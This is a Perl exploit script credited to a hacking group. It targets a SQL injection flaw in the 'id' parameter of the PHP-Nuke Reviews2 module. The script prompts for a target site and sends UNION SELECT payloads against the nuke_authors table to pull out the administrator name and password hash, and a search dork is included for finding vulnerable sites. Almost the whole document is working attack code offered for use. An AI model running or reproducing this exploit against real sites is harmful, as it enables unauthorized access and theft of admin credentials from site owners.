#!/usr/bin/perl -w #PHP-NUKE module Reviews2 (id) SQL injetion vulnerability# ######################################## #[~] Author : boom3rang #[~] Kosova Hackers Group [www.khg-crew.ws] #[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er. #[!] Module_Name: Reviews2 #[!] Script_Name: PHP-NUKE #[!] Google_Dork: inurl:"modules.php?name=Reviews2" ######################################## system("color FF0000"); system("Title Kosova Hackers Group by boom3rang"); print "\t\t-------------------------------------------------------------\n\n"; print "\t\t| Kosova Hackers Group |\n\n"; print "\t\t-------------------------------------------------------------\n\n"; print "\t\t| PHP-NUKE module Reviews2 (id) SQL injetion vulnerability |\n\n"; print "\t\t| Coded by: boom3rang www.khg-crew.ws |\n\n"; print "\t\t-------------------------------------------------------------\n\n"; use LWP::UserAgent; print "\nEnter your Target EXP:[http://site.com/path/]: "; chomp(my $target=); $column_name="aid"; $table_name="nuke_authors"; $b = LWP::UserAgent->new() or die "Could not initialize browser\n"; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $host = $target . "modules.php?name=Reviews2&rop=showcontent2&id=-9999+union+select+1,2,aid,".$column_name.",4,5,6,7,8,9,0,11,12+from/**/".$table_name."/**"; $res = $b->request(HTTP::Request->new(GET=>$host)); $answer = $res->content; print "\n[+] The Target : ".$target.""; if ($answer =~ /(.*?)/){ print "\n[+] Admin User : $1"; } $host2 = $target . "modules.php?name=Reviews2&rop=showcontent2&id=-9999+union+select+1,2,aid,pwd,5,6,7,8,9,0,11,12+from+nuke_authors--"; $res2 = $b->request(HTTP::Request->new(GET=>$host2)); $answer = $res2->content; if ($answer =~/([0-9a-fA-F]{32})/){ print "\n[+] Admin Hash : $1\n\n"; print "# Succeed (Veprimi u kry me sukses)! #\n\n"; } else{print "\n[-] Failed(Dėshtoi) Exploit...\n"; } ############################### # Proud 2 be Albanian # Proud 2 be Muslim # United States of Albania ###############################